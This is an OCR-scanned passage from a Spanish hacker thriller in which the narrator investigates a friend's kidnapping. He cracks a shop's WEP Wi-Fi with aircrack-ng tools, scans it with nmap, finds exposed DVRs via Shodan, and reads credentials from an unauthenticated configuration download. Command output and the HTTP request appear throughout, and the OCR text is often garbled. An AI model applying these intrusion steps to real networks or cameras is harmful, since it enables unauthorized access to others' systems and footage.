de infarto. Con las facultades fisicas y mentales recuperadas, estudié lo que era, sin duda,
el dormitorio de Yolanda.

Era facil de deducir por la cama individual y la mesilla de noche situadas a la derecha. Al

! otro lado habia una cémoda con espejo y un armario. Al fondo, un escritorio y una silla de

oficina componian la zona de trabajo. Entre esta y los pies de la cama, una puerta se abria
al cuarto de bafio. A través del espejo del lavabo, que reflejaba el poco espacio que no podia
ver directamente desde mi posicidn, confirmé que alli tampoco se escondia nadie.

Al igual que en el saldn, los intrusos se habian empleado a fondo. Los cajones de la coémoda
estaban abiertos y su contenido revuelto. La puerta del armario colgaba sobre una sola
bisagra y la ropa se veia desordenada. L.a cama estaba deshecha, pero no del modo en que

ueda al levantarse por la mafiana. Apuntaba a que habian registrado incluso el interior
del colchoén, tirando de las sdbanas de cualquier manera. El bafio tampoco se habia librado
del registro. Las puertas del mueble bajo el lavabo estaban abiertas y en el suelo yacian
diversos productos de belleza e higiene.

Me dirigi al escritorio. Observé el monitor solitario y los cables sueltos por debajo. Un
rectangulo de limpieza en medio de una ligera pelicula de polvo revelaba el lugar que
anteriormente ocupaba la caja de la CPU. Alguien mas, aparte de mi, tenia interés en los
secretos que guardaba.

No sabia quién habia registrado el piso, pero quienquiera que fuese se habia empleado a
fondo. En cuanto a qué buscaba, era evidente su interés por el ordenador. No parecia un
simple robo, pues sobre la comoda habian dejado alguna cadena y varios anillos de cierto
valor. Y nadie robaria una CPU sin llevarse al mismo tiempo el monitor si su inico interés
fuera su valor ezcon(')mico.

Meti la mano en el bolsillo y, sin sacarla, apreté a Hello Kitty en un pufio. El contacto
con el dispositivo me sorprendié como un golpe bajo. ;Era esto lo que buscaban? La sola
posibilidad me hel6 la sangre.

No queria nublar mi juicio con oscuras especulaciones, asi que me concentré en io que
si sabia. Desde que me habia hablado del extrafio archivo, Yolanda no habia vuelto a
dar sefiales de vida. Ahora su casa estaba patas arriba y todo apuntaba a que la causa se
encontraba en mi bolsillo.

Tenfa que pasar a la accién y descubrir qué le habia ocurrido, pero no sabia adénde dirigir
mis pasos. Casi a la desesperada, saque el mévil y llamé. Escuché un tono, dos, tres, pero
también algo maés, tan tenue que al principio lo achaqué a mi estado de 4nimo alterado. Volvi
a marcar, esta vez con el teléfono separado de la oreja y el oido alerta. Era un zumbido que
venia del saldn, que se iba y volvia con la frecuencia de los tonos de llamada. {Un mévil
en modo vibracién!

El sonido paré. Me encontraba cerca del ventanal, siguiendo el zumbido como un rastro
®Squivo. Estaba tan cerca que parecia que lo tenia debajo. jJusto debajo! Me tiré de rodillas
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al suelo y miré a través de la ranura inferior de la estanteria. Al fondo del todo, una luz |
intermitente revelaba su posicion.

Logré sacarlo con ayuda de una regla que encontré sobre una de las baldas. Era el mévil de |
Yolanda. El lugar donde estaba indicaba que se habia caido y deslizado por el suelo hasta |
acabar oculto bajo la estanteria. Algo impidié que ella lo recuperara. Ahora estaba seguro |
de que habia pasado algo malo. Nadie sale de casa sin el mévil de forma voluntaria.

Me quedé mirando la pantalla hasta que se apagé del mismo modo que mi 4nimo. Estaba tan |
afectado por haber descubierto una prueba que, seglin toda 16gica, suponia la confirmacién
de mis temores, que perdi el impulso primitivo. Sin embargo, no me dejé vencer por el
abatimiento y me obligué a continuar buscando otros indicios.

La inspeccién no me llevé mucho tiempo. El piso era pequefio y alguien se me habia |
adelantado. Supuse que el teléfono habia sido su tinico descuido, asi que lo ultimo que
esperaba era otro golpe de suerte.

Cuando terming, lo mas revelador no fue lo que encontré, sino lo que no aparecié por
ningun lado. No habia rastro de ningin dispositivo de almacenamiento de datos. Ni discos |
duros, ni memorias USB, ni DVD, ni CD, a pesar de encontrar varias cajas vacias de estos |

Altimos desparramadas por el suelo. Todo componente que pudiera contener informacién |
habia desaparecido.

e

Me liberé del bloqueo mental y comencé a valorar las alternativas que tenia.

Mi primer impulso fue llamar a la policia y denunciar lo ocurrido. Ellos sabrian qué hacer.
Tenia ya el numero en pantalla y el pulgar rozaba el botén de llamada cuando lo deje alli
suspendido

(Era lo mas conveniente? No sabia a ciencia cierta qué habia pasado, aunque todo indicaba
que alli se cocia algo turbio. Quiza Yolanda hubiera huido de sus perseguidores y en ese
momento se encontrara a salvo. Pero, si este era el caso, ella misma podria llamar a la’
policia si queria. La cuestion era: ;jqueria? Si yo diera el aviso, ;estaria ayudando a mi
amiga o, por el contrario, le traeria mayores complicaciones? !

No me decidia a implicar a las autoridades hasta no llegar al fondo del asunto. Solo cuando-}
estuviera seguro de que era lo mas conveniente, harfa la llamada. Debia seguir investigando.
hasta descubrir la verdad. Pero, ;c6mo?

Contaba con €l movil de Yolanda. Quizés alli hubiera algo. Pulsé el botén “Home” y la
pantalla cobré vida para solicitarme una clave de cuatro digitos. Era la prueba que debiaA
pasar quien quisiera acceder a sus secretos. jMierda! Luego pensé que no suponia un
problema. Solo me llevaria algo mas de tiempo.

Pero aparte del teléfono, no habia otro hilo del que tirar. Ademas, me enfrentaba a una
situacién totalmente nueva para mi. Yo no estaba acostumbrado a tratar con la violencia:
Mis capacidades eran informaticas, no fisicas. Si durante mis indagaciones me topara con

| Capitulo VIII: Vacio KR

| los malos, estaria perdido. Y descartada la intervencién de la policia, solo podia contar con

| mis Trecursos.

Fl problema era que me sentia incapaz de afrontar en solitario las dificultades que, sin

| duda, surgirian. Me moveria en un mundo donde las casas se allanaban y sus inquilinos

desaparecian, un mundo al que solo me habia asomado a través del cine, los libros y algin

| comic de Frank Miller. Aquel no era mi mundo. Pero, conocia a alguien capaz de moverse

en él.

Habian pasado meses desde la ultima vez que habia visto a Marcos Sierra. Ahora no
necesitaba una excusa para llamarle; la verdad parecia tan buena como cualquier otra.

| Busqué el numero en la agenda y lo marqué. Después de cuatro tonos, asumi que ese

dia solo contestaria mis llamadas la voz sintetizada del buzén de voz. Como no parecia
adecuado escribir un SMS o un whats para lo que tenia que decir, dejé un mensaje grabado:

-iMarcos! Soy Angel Rios. .. {Heeey, qué pasa tio! Escucha, estoy metido en un pequefio
lio... bueno, en realidad es un lio de cojones. El caso es que... necesito tu ayuda. Si
pudieras pasarte por mi casa, te lo agradeceria mucho. Prefiero hablarlo en persona...
Ven cuanto antes, por favor... Y gracias de antemano.

| Esperaba que el mensaje fuese lo suficientemente enigmatico y apremiante como para que
me devolviera la llamada pronto, aunque no habria apostado por ello.

En el pasado habiamos sido grandes amigos, como solo pueden serlo dos personas que se
conocen desde su mds tierna infancia, y los rescoldos de esa amistad habian sobrevivido
hasta el presente de un modo misterioso. El caso es que nunca perdimos el contacto y, a
pesar de llevar‘vidas paralelas, siempre encontrabamos puntos de interseccién en el camino.

Compafieros de clase en el colegio y en el instituto, fue al término de este ultimo cuando
nuestros destinos tomaron direcciones opuestas. Mientras yo me preparaba para la
selectividad, pensaba en universidades y suspiraba por Yolanda, Marcos dejo los estudios
al cumplir los dieciocho y se alist6 en el ejército. Me alegré por él. Habia encontrado un
empleo que a todas luces le gustaba, y para el cual se sentia valido.

Los afios que siguieron no lo vi salvo en contadas ocasiones, cuando regresaba a casa
por un permiso. En una de sus inhabituales confidencias, me cont6 que servia en una
unidad de operaciones especiales, pero por lo demas era muy reservado con respecto a su
trabajo, como si este fuera tan secreto como la ubicacién de la Gltima “LaCon”. Si sabia
que habia operado en algunos conflictos bélicos, aunque, por aquel entonces, el gobiemo
los llamaba “misiones de paz” y se esforzaba en presentar la labor de nuestras tropas como
“humanitaria”. Aun asi, no era probable que durante su estancia en aquellos lugares mi
amigo se hubiese dedicado a repartir caramelos.

Ahora trabajaba en el sector privado. Habia mantenido su habitual secretismo con respecto
4 su nueva actividad, pero algo me decia que no diferia mucho de la anterior. No me
maginaba a Marcos haciendo otra cosa que no fuera algo relacionado con las armas y la
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iertas empresas de cierto

violencia. Su experiencia y formacion eran muy apreciadas por ¢
sector. ‘
En definitiva, no conocia a nadie mas idoneo para guiarme a través del laberinto en que me
habia metido. ‘ 3
Hecha la llamada, sali del piso y cerré la puerta como pud’e. Si alguien avisara a la policia,
no serfa por mi culpa. Las marcas de palanca no se veian a menos que se Fug{:ara_n )g
en general, todo daba una imagen de normalidad. Eché un rapid? vistazo al si enqloz
descansillo. Ninguna puerta se cerrd precipitadamente, nadie parecia expiarme a_trat\ares e
las mirillas y sospechaba que la anciana de al lado se encontraria durmiendo su siesta.

bocado y la sensacion de ser un delincuente huyendo de la escena

Bajé con el corazén des de ¢ : 1
J fin sali a la calle, respiré como si hubiera emergido del agua tras

del crimen. Cuando por
un largo tiempo de apnea. ‘
en habia entrado en el piso. De los veci_nos no sacaria
nada 1til. Mi experiencia con la anciana me habia co'nve‘nmdo de ell_o.lEl I:i]rchl;:o t;i;sec;g*ea&g
podia ser la clave, pero para mi solo era un galimatias incomprensible. No E E ik 5 o
estudiarlo mas a fondo; tal vez, una segunda lectura me revelara algo que hubiera p

por alto en la primera.

Tenia que averiguar la identidad de qui

Capitulo IX: DVR -

Capitulo IX
DVR

Me dirigia al coche cuando reparé en la tienda de tatuajes, que ya se encontraba abierta al
publico. Una chica, que no pasaria desapercibida por un detector de metales debido a la
chatarra que acumulaba en la cara, atendia detrds del mostrador. Pero mi atencién no se
centro en ella, ni en las fotografias de torsos, brazos, piemas y otras partes de la anatomia
humana pintadas con los més variopintos motivos, expuestas a modo de muestra en el
escaparate, sino en la cimara de seguridad que desde un dngulo del techo enfocaba la
entrada y, por afiadidura, la zona de la calle préxima al portal. Al final, con un poco de
suerte, volveria a casa con otra pista bajo el brazo.

No vi ningtin cable saliendo de la cdmara. Deduje que se trataba de un modelo que utilizaba
la tecnologia wireless para transmitir las imagenes que captaba al disco duro donde se
almacenaban. Si conseguia acceder a esas imagenes, quizds viera a los asaltantes llegar
en un coche y pudiera leer la matricula de este. A partir de ahi, conseguir el nombre del
propietario del vehiculo y otros datos ttiles seria pan comido. También era posible que
la grabacion solo me confirmara que Yolanda habia salido camino de la peluqueria o del
supermercado y todo el asunto quedara en un robo perpetrado en su ausencia. Pero, de
momento, todo eran especulaciones y ni siquiera sabia si la camara funcionaba.

Para salir de dudas, recogi el portatil del maletero y me lo llevé al habitaculo. Maniobré
marcha atrds hasta situarme justo delante de la tienda y paré en doble fila. Encendi el
equipo sobre el regazo con el pendrive de la distribuciéon de Linux Wifiway'? conectado,
que para auditorias wifi siempre resulta la opcién mds rapida.

Cuando el sistema operativo terminé de arrancar, inicié la primera de las herramientas de
aircrack-ng'?, escribiendo el comando airodump-ng wlanO en una terminal. Sobre
ella, observé que habia bastantes puntos de acceso (AP) wireless por aquella zona. Como
no queria repetir aquel incidente en el que durante una auditoria acabé entrando en la red
de un comercio de electrodomésticos, cuando realmente pensaba que lo hacia en la de la
aseguradora que nos habia contratado, esta vez quise asegurarme de identificar la correcta.

Sali del coche con el mévil en la mano y entré en la tienda con la excusa de interesarme
por un piercing para la lengua. Mientras la empleada abria el mostrador y sacaba bandejas
repletas de horripilantes figuras, inicié la aplicacion WiFiFoFum'® de mi teléfono e
identifiqué las conexiones que se veian dentro del establecimiento. Todo apuntaba a que el
objetivo se llamaba “WIFI”, ya que tenia la mayor potencia de sefial (-40 RSSI).
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Img 33 -34: Aplicaci6n de iPhone WiFiFoFum cop radar y listado de puntos de acceso.

De nuevo en el coche, volvi a arrancar airodump, pero esta vez fijandome en los detalles y
tomando nota de algunos datos que me harian falta para parametrizar los comandos y sacar
la contrasefia del cifrado WEP que protegia la conexion.

cH 21

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
40:4A:01:C2:A3:21 -39 22 18 ® 1 54e WEP WEP WIFL
B8C:7C:B5:79:A7:A7 -71 25 e B 7 54 . WPA CCHP PSK PS3-9395537
40:4A:03:A7:6B:6B -76 24 ] 8 9 54 . WEP WEP WLAN_35
BSSID STATION PWR  Rate Lost Frames Probe

8a-1 9

58:55: CA:E6:CL:55

49:4A:01:C2:83:21 -41

Img 35: Deteccién de puntos de acceso con herramienta airodump-ng de la suite aircrack-ng

El canal bajo la columna CH era el 1; el ESSID (Extended Service Set Identification),
“WIFT”; el BSSID (Basic Service Set Identifier) o direccion MAC del punto de acceso,
40:4A:01:C2:A3:21; y, por tltimo, la direccion MAC de uno de los equipos que v.estabgl1
asociado a esa conexion, 58:55:CA:E6:C1:55. Esto y un par de comandos mas serfail
suficientes para averiguar la contraseiia. E

Sali de airodump pulsando control+C y volvi a ejecutarlo pero afiadiendo nuevas opciones
-c con el canal, ——bssid con el BSSID y —w con el nombre del fichero que iba a almacena!

todo lo que se capturase.

Cuan_do se usa WEP128, el trafico entre dos dispositivos se cifra usando RC4. Este
algoritmo funciona mediante el uso de una clave conocida como keystream. La /ceys.tream
esta comp1_1§sta d'e dos partes: la primera la establece el usuario como contrasefia en la
| configuracioén y tiene un tamafio de 104 bits (o 40 bits si es WEP-64); la segunda parte
' de 24 bits es generada automaticamente por el AP (access point) para cada paquete. Esta
segun{ia parte es conocida como vector de inicializacién o IV, y se transmite en texto plano

' es decir, sin cifrar. ’

~ Mientras guardaba tréfico con ese comando, tenia que generar mucho mas, ya que para
sacar la contrasefia era necesario obtener muchos paquetes y sus correspondientes IVs. El
nimero de estas tramas se muestra bajo la columna “#Data” y, para tardar lo menos posible
es recomendable que sea como minimo de un millén y medio. |

Para crear rapidamente mucho trafico y capturar un elevado ntimero de IVs debia inyectar
- paquetes en la red. Tarea sencilla, siempre y cuando se disponga de la tarjeta wifi adecuada

y drivers parcheados en el kernel que permitan esta funcién. En mi caso, la tarjeta de mj
. amado Lenovo era suficiente y cubria la parte software con Wifiway.

De todos los ataques posibles, opté por capturar un paquete ARP de un cliente ya conectado
(58:55:?A:E6:C 1:55) y reinyectarlo mediante la ejecucién de otro comando en otra
terminal.

S e

Terminal - Konsole <3

jwifiway ~ # a 4A:61:C2:4A3:21
ioctL(RTC_IRQP_SET) failed: Invalid arqument
Make sure enhanced rtc device support is enabled in the kernel (module
rte, not genctc) - alse try ‘echo 1824 >/proc/sys/dev/rtc/max-user-freq’.
The interface MAC (80:24:D7:C6:4C:30) doesn't match the specified MAC (-h).
ifconfig wlan® hw ether 58:55:CA:E6:C1:S5
062:06:21 Waiting for beacon frame (BSSID: 48:4A:81:C2:A3:21) on channel 1
Saving ARP requests in replay arp.cap
You should alse start airodump-ng to capture replies.
Read 5039 packets (got 3128 ARP requests and 1518 ACKs), sent 2801 packets...(5
Read 5195 packets (got 3226 ARP requests and 1568 ACKs), sent 2051 packets...(560
sead 10502 packets (got 6501 ARP requests and 3265 ACKs), sent 4252 packets...(499 pps)

Img 36: Inyeccion de trafico usando aireplay-ng de aircrack-ng.

Con aireplay-ng en ejecucion, veia crecer rdpidamente el numero de paquetes en la
ventana de airodump. En apenas 10 minutos alcanzé el millén y medio, momento en que

paré ambas herramientas.

Turno de la tiltima aplicacién: aircrack-ng, que tan solo requeria como pardmetro el
nombre del fichero que airodump habia generado (“wifi”), y al que autométicamente afiadia
Un numero y la extension “cap”.

De este modo, proced a ejecutar el ataque con la absoluta seguridad de que tendria éxito.
Es lo que tiene WEP.
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Aircrack-ng 1.1 r2622
| [00:00:00] Tested 653 keys (got 151888 IVs)
|

B depth  byte(vote)

] o/ 1 31{223744) 38(169728) 14{168764) 69(167168) D5(166912)
1 08/ 1 32(206592) SA{168960) 1E(167936) BE(167168) 6A(167168)
2 11/ 2 B9(16l624) 11{160512) 4B(160512) 6C{166512) A7(168512)
3 14/ 3 58(161792) 54(161536) BE(161288) 9D(161280) A3(161260)
4 9/ 17 DD(195648) A6(169984) 4D(166912) A6(165888) D5{165376)

KEY FOUND! [ 31:32:33:34:35:36:37:38:39:30:31:32:33 1 (ASCII: 1234567890123 )
Decrypted correctly: 108%

|wifivay - # [

Img 37: Blisqueda de contrasefia sobre el archivo capturado con aircrack-ng.

iDing! ;Ding! jDing! En menos de un segundo apareci6 la contrasena: “1234567890123”,
Por fin habia conseguido acceso a la red; ahora le tocaba el tumo a la cimara de seguridad. :

Reinicié el equipo y arranqué Windows. Al conectar a la red wifi, me asign6 por DHCP la i
direccién IP 192.168.0.201. Inmediatamente después, comencé la exploracién de la red con |
la utilidad Nmap®®, buscando qué otros ordenadores, dispositivos y cacharros varios habia |
alli conectados.

Btarting Nmap 5.51 ( http://nmap.org > Romance Daylight Time

Imap scan re_gurl: for 192.168.06.1

st is up (W.8838s latencyd.

PORT STIATE EE‘I’UI(IE

88/tcp open tt

1tt]pr-a£thds= Rn fillow or Public header in OPTIONS response (status code 081y
http-favicon:

http-title: 401 Unauthorized

http-auth: HITP/1.1 461 Unauthorized

_Basic realm=Equipo Yodafone
AC Address: 48:4A:61:C2:A3:21 <Unknoun>

PD-MRT milli_httpd! http-title: 401 Unauthorized_http-meth

Ba/t hee
ds:caﬂown » OMS response Cstatus code 581>} http-auth:

0 Allow or Public header in OFT
i {_Basic realn=DUR

Imap scan report for 192.168.8.284
ost is up (B.88%98s latencyd.

PORT STATE SERVICE

BB tcp filtered http [

map scan report for 192.168.8.198

ost is up ¢B.B78z latencyd.
3 T ERUICE

PORT  SIATE & ) !
B tcp Filtered htt )
AC Address: 53:55:&]:21:5&:5& CUnknown> 3

Img 38:Deteccion y analisis del puerto 80 con scripts mediante Nmap.

Los argumentos que usé fueron:

- -sT: lanza el analisis de puertos usando el método connect tradicional que respet
el triple handshake de TCP/IP.

|
|
|
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- -p80: Umicamente busca direcciones I[P con puertos 80 (servidor web) abiertos.
- -T4: Especifica la velocidad del anélisis. TO es la més lenta y T5 la més rapida.

- -sC Ejecuta los scripts de Nmap, entre ellos obtener los métodos HTTP
permitidos, el titulo de la pagina web o el tipo de autenticacion web.

- 1592.168.0.0/24: es el rango de direcciones IP a analizar. En este caso, una de
la clase C entera.

Segun reportaba la herrarr_lienta, aparentemente alli habia un router wifl, un sistema con
windows (tal vez, el terminal de punto de venta), un iPhone y un ltimo equipo que tenia
todas las papeletas para ser la camara de seguridad.

Sistema l Direccién IP
Router wifi ' 192.168.0.1
Windows, punto de venta 192.168.0.204

iPhone 192.168.0.198
Camara de seguridad 192.168.0.151

Tabla 2: Resumen de direcciones y sistemas en la red de la tienda

Intenté el acceso a esa direccion con el navegador, ya que estos cacharros suelen tener una
pagina desde la que se configura y en la que podria ver o descargar las grabaciones. Como
era de esperar, solicitaba usuario y contrasefia para conectar.

Se requiere autenticacon

Img 39: Solicitud de credenciales en el acceso a la DVR.

No tenfa mucho tiempo para experimentar, asi que se me ocurri6 intentarlo con los
sospechosos habituales v las clasicas combinaciones “admin/admin”, “admin/123456”,
“admin/<vacio>", pero ninguna funciond. En este caso, automatizar el ataque y probar con
un diccionario de contrasefias debia ser la ultima opcién, ya que el reloj iba en mi contra y
necesitaba terminar cuanto antes.

Busqué en Google el manual de usuario para verificar que, efectivamente, el usuario y
Cf)ntras:ena con el que se entrega la camara de fabrica era “admin/admin”. Al parecer, la
Simpatica mujer de hojalata se habia molestado en modificarlos por otros mas seguros.
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'.
Ya solo quedaba encontrar una vulnerabilidad en el producto que me permitiese el acceso, | Tras unos minutos, tuve una idea: una de 1 i
para lo que abri una nueva pestaiia del navegador y, utilizando el buscador Shodan'®, | camara, una copia de seguridad de 1a ceo;jsi 05}0“7_’365_ permitia guardar, fucra de (a propia
guracion; tan solo habia que pulsar sobre el

localicé el mismo modelo de cémara en otras direcciones IP publicas de Intemnet. Tan solo | poton “Descargar” -G
e : | gar” del menu “Confi i : -
tuve que buscar por el nombre de Ja ventana que solicitaba la contrasena: “pasic DVR™. | esa peticién no requiriese autenticacﬁju;f? cion de copias de seguridad”. Me pregunté: (y si
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La idea era acceder a cualquiera de ellas con las credenciales por defecto que habia visto
en el manual y, una vez dentro, tratar de encontrar un fallo que permitiese saltarme la =
autenticacion. Una vez identificado, tendria que aplicarlo en la camara de la tienda, que era MersTon de

142.1.77 307

la que me interesaba realmente. firmware:
Buevo irmware: '
“% SHODAN ! e |

Cargar valores Dledeterm'mado
) ; iDesea cargar la
s A= . 655 configuracion
» Top ¢ountries matching your search Talwan 18 redeterminada’? 3
) fraly 3255 P e )
United States 3,083
Malaysia 2405 »
Thailand 1,800 Configuracion de
copias de segurkiad

I 1: i
mg 41: Opciones de la DVR, como descargar una copia de seguridad de la configuracién

{f 401 Unauthorized {
| .
[ 59.126.221.96 HTTE/ [ 401 Unauthonzed ' Se me puso la piel 1 1 : .
BIBBI ot o g | P piel de gallina mientras movia el ratén hasta el icono. Descargué el i
Agded an 12 07 4012 er; Bt lylo abri con el bloc de notas : gué el archivo
B Taipei Date: F, 13 Jul 2012 0542726 GMT [ .
WAAW -Authenticate: Basie realm="DVR" | B c de no
59.1265.221.96. HINET-IP.hinet.net Connectwon: close 1 _
Content-Type: text/html 1 DDNS_ENABLE=0
N DDNS_PROVIDER=2
i & |[PONS_HOST_NavE=
5 DDNS_ID=
thorjze DDNS_PASSWD=
80.56.213.96 HTTP/] 0401 Unsuthorized f DDNS_UPDATE_TIME=360
; @R RS EAIAWE
. %b!hane Het S:x!lut!uns Surh Server bitpd i BSITES#FMGHBRTY
i Sgded an (207 2012
| i1 Fiesso Dartico Date Thu, 12 Jul 2012 22:23:48 GMT i
| W -Authenucate: Basic realm="DVR" !
| 96.213-66-80.hosts.wifi.3psystem.it Connection. close M
] Content-Type text/html '
] 401 Unauthorized
188.51.201.6 HTTE/1 0401 Unawihonzed =
[ Saudilet, Saudi Telecom COmPANY  cerver niipd B_PASSWD2=
Agded an 1207 2012 J WEB_AUTH_LEVEL2=255
| W Jiddah Date: Thy, 12 Jul 2012 14:57 48 GMT : B_USER3=
| W -Authenticate; Basic realm="DVR" ] UASS“_E::EL?Fzss
- 3 il
Contant Type: Ll FRIRREHEFEETEMATL BRI EHY
Connectuon: close L_EVENT_ENABLE=0

Tmeg 40: Buscador Shodan con los resultados de DVR.

Solo tuve que probar en dos o tres IP hasta dar con una en la que consegui entrar.

Recorri todos los menus, tratando de imaginar en qué parte habria un error de disefio q@ — E’
[ o e p— ——— —_ ] 4
facilitase mi proposito. Img 42: Archivo de configuracion de DVR.

- EER
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iBien! La contrasefia estaba en el fichero de configuracion sin cifrar. No tendria que hacer
nada mas; solo verificar la direccion de la cual se habia descargado el fichero y, por altimo,

|
|
|

comprobar que podia ser invocada sin haberme identificado previamente, es decir, sin |

sesion validada.

@GET /DVR.cfg HTTP{1.1
User-agent: Mozilaf5.© (Windews WT 6.1; WOW64; rvi13.0) Gecko/20100101 Firefox{13.0
Accept: textfhtrml, applicationfxhtrril+xml,applicationfxml;g=0.9,* *:q=0.8
Accept-Language: en-us,en;q=0.5

Accept-Enceding: gzip, deflate

Connection: keep-alive

@HTTP/1.0 200 Ok

Server: httpd
Cache-Contrel: no-cache

Pragma: ne-cache

Expires: 0

Connection: close

Content-Type: applicationfoctst-stream

3 g 43: Médulo Liv HTP Headers en ex ostrand peticios wb. ;
Monitoricé las peticiones que hacia Firefox con LiveHttpHeaders! y averigiié que, cuando’i
el botén era pulsado, hacia una llamada a http://X.X.X. X/DVR.cfg, de donde se descargaba’
el archivo con la copia de seguridad. :

Me limpié el sudor de la frente. Todo esto no serviria de nada si la web, cuando recibiera-{
la consulta directa al archivo “DVR.cfg”, detectase que ain no se habian introducido las'
credenciales y solicitase el usuario y la contrasefia. '

Cambié a una pestafia mas del navegador, modifiqué la direccion IP de la cdmara de Internet.
por la direccion de la tienda, y presioné la tecla Enter con fuerza al tiempo que lanzaba una
enorme exhalacion:

iBingo! No me lo podia creer. Acababa de encontrar un Oday (o fallo no conocido) realmente!
estiipido con el que averiguar el usuario y la contrasefia de estos malditos chismes.

AR WED STTEHHHHEHRN
WEB LOGIN MODE=1
WEB TANGUAGE=L —
WEB_ADMIN_ID=29459541
WE B__'ADMIN_PWD=5 90715

| WEB_USER0=29455723

. WEB_PASSWD0=590713

WEB_USER1=
WEB_PASSWD1=
WEB_AUTH_LEVEL1=255
WEB_USERZ=
WEB_PASSW'D2=

WEE AUTH LEVEL2=255

Img 44: Configuracion de DVR de la tienda con credenciales.

Con las credenciales en mi poder, descargué el video y lo abri con el reproductor.

La grabacién mostraba el interior del establecimiento, la puerta de entrada y, como
pronostiqué, parte de la calle proxima al portal, en Gltimo plano y a la derecha de la pantalla.
Ese era el recuadro que me interesaba. La calidad no era muy buena, aunque suficiente para
mis propésitos. La fecha y 1a hora aparecian superpuestas en la esquina inferior derecha de
la pantalla, lo que me permitia lievar un control de tiempo.

Pronto comprendi que tardaria una eternidad en descubrir algo interesante con un visionado
normal, asi que activé el control de velocidad al méximo en los tramos donde la camara
habia captado la calle desierta, congelando la imagen donde personas o vehiculos cruzaban
por delante de la tienda.

Me sorprendi6 ver a Yolanda entrando en el portal a las 22:35 horas. Aparecié fugazmente
desde el otro lado de la calle y solo la reconoct por su vestido, el mismo que llevaba en el
VIPS. Retrocedi hasta conseguir una imagen en que se la veia de cuerpo entero. A pesar de
no ser mis que una agrupacion de pixeles que apenas si dejaban intuir sus rasgos, no pude
evitar acariciar la pantalla con los dedos y sentir una profunda emocion. Atendiendo a la
hora, ella habia vuelto directamente a casa después de nuestra cita. También coincidia con
lo que me contd su vecina.

Las siguientes horas de video pasaron a velocidad de vértigo y solo mostraron a algin que
otro transeunte de aspecto cansado, en ningiin caso sospechoso, aunque ningun vel}iculg.
Luego la calle qued6 desierta y el video se transformé en una foto fija, ya que nada ni nadie
alteraba el plano.

Hasta las 4:47, cuando un coche oscuro cruzé la pantalla de izquierda a derecha, con las
luces apagadas. Debi6 de dar la vuelta, pues aparecié de nuevo por la derecha y se detuvo
frente al portal en doble fila. La parte delantera era visible; no asi la matricula, oculta por
los vehiculos estacionados. El reflejo de una farola sobre la luna impedia la identificacion

de los ocupantes.

Nadie sali¢ del vehiculo hasta pasados diez minutos, cuando las puertas se abrieron y dos
hombres se apearon. El conductor, calvo y corpulento, vestia con chaqueta y pantalones
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i
vaqueros. E] acompafiante llevaba un traje sin corbata y destacaba por su extrema delgadez

y el pelo rapado. Este tltimo examind la calle antes de adentrarse en el portal, seguido por
el conductor.

Me parecieron sospechosos desde el primer momento, no solo porque llegaron a una .
hora muy avanzada de la noche, sino también por la prolongada espera antes de salir del
vehiculo, por el aspecto rigido y la actitud vigilante.

Adelanté el video hasta las 5:36. A esa hora el calvo salié cargando dos bolsas abultadas :
que llevé hacia la parte trasera del coche, fuera de plano. Volvié a aparecer ya sin bolsas, |
mirando a uno y otro lado. Sacé un teléfono y se lo llevé a la oreja; tras unos segundos lo
guardé y continud vigilando la calle junto a la puerta del conductor.

Tres minutos mas tarde, hizo un gesto de asentimiento y volvié a salir de plano. Enseguida |
regreso por el lateral del vehiculo y se sent6 al volante. Esperé un momento en esa posicion |
antes de iniciar la marcha y hacer desaparecer el vehiculo por la izquierda de la pantalla.

Retrocedi para ver la secuencia de nuevo, esta vez a cAmara lenta. La escena se reprodujo ‘
como si aconteciera bajo el agua. Los movimientos pausados me permitian apreciar cada |
detalle con mas calma, pero en ningiin momento pude leer la matricula. f

Lo que si pude ver fueron los asientos traseros del vehiculo al pasar por delante de la cdmara,
Habia dos personas alli sentadas. Reconoci al tipo delgado detras del conductor. Parecia
que se inclinaba hacia la tercera persona y le obligaba a mantener la cabeza agachada.
Las facciones de esta no se apreciaban con claridad, pues se ocultaban tras una melena
enmarafiada. Paré el video y me fijé con mayor atencion.

Entonces, mis pupilas se dilataron y perdi el aliento. Porque, a pesar de la escasa luz y
la pobre calidad de la grabacion, no tenia ninguna duda de que esa persona, asustada y
sometida, era Yolanda.

| Capitulo X: SOLite

Capitulo X
SQLite

Fl examen del video me llevé una media hora, pero dentro del vehiculo, sin aire
acondicionado y bajo el sol de la tarde, fueron treinta minutos muy largos. Para cuando
terminé, estaba tan angustiado que me temblaban las manos al girar la llave del contacto.

Conduje de vuelta a casa con el piloto automatico, sin prestar atencién a las sefiales ni a los
otros vehiculos. La imagen de Yolanda en el asiento trasero no se me iba de la cabeza. Todo
lo que habia descubierto hasta ahora corroboraba la hipdtesis de un secuestro. La pregunta
era: (por qué?

Senti fisicamente el peso del pendrive en el bolsillo. Tal y como habian sucedido los
hechos, seria demasiada coincidencia que el archivo no tuviera nada que ver con toda
aquella historia. Ademds estaba la desaparicion del hermano; simplemente no me creia que
fuese un hecho aislado.

Por una vez tuve suerte y encontré un estacionamiento cercano a mi portal. Me llevé el
portatil, el movil de Yolanda y a Hello Kitty conmigo. Eran las {inicas pistas con las que
contaba, pero primero tenia que trabajar en ellas si queria sacar algo util. Era una ardua
labor la que tenia por delante. Solo esperaba que diera sus frutos.

Una vez arriba, ftravesé el pasillo para dejar todas mis cosas en el despacho. Regresé a la
cocina, donde me preparé un sandwich de atim con mayonesa acompafiado de una Coca-
Cola que saqué de la nevera. Después de lo que habia descubierto, habia perdido el apetito,
pero me obligué a comer algo ya que no probaba bocado desde el desayuno. Dispuse todo
en una bandeja para poder cenar mientras trabajaba.

De nuevo en el despacho, conecté la memoria a un puerto libre para volyer a estudiar el
archivo descifrado. Me centré en la tabla con los nombres asociados a cantidades y fechas.

La examiné con detenimiento. Los nombres estaban en la columna etiquetada como
“destino”. Fran nombres de ciudades alemanas en su denominacion vernacula. Ignoraba si
hacian verdadera referencia a ciudades o estas no eran mas que un cédigo que identificaba
otra cosa. Fuera como fuese, cada nombre estaba relacionado con una cantidad de euros (asi
lo sugeria el simbolo que seguia a la cifra) y con una fecha. Las fechas de las operaciones,
si de eso se trataban, eran recientes, pero se remontaban hasta el inicio del afio, del modo
en que lo haria un documento contable en relacién al afio fiscal.

Seguia sin comprender nada, pero uno de los nombres llamé mi atencién: Niimberg tenia
asignadas las mayores cantidades. En general, las sumas eran considerables, pero las de
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este superaban con mucho a las demas: asimismo, aparecia un mayor numero de veces y
con una periodicidad destacada. No sabia quién o qué era Niimberg, pero de su importancia
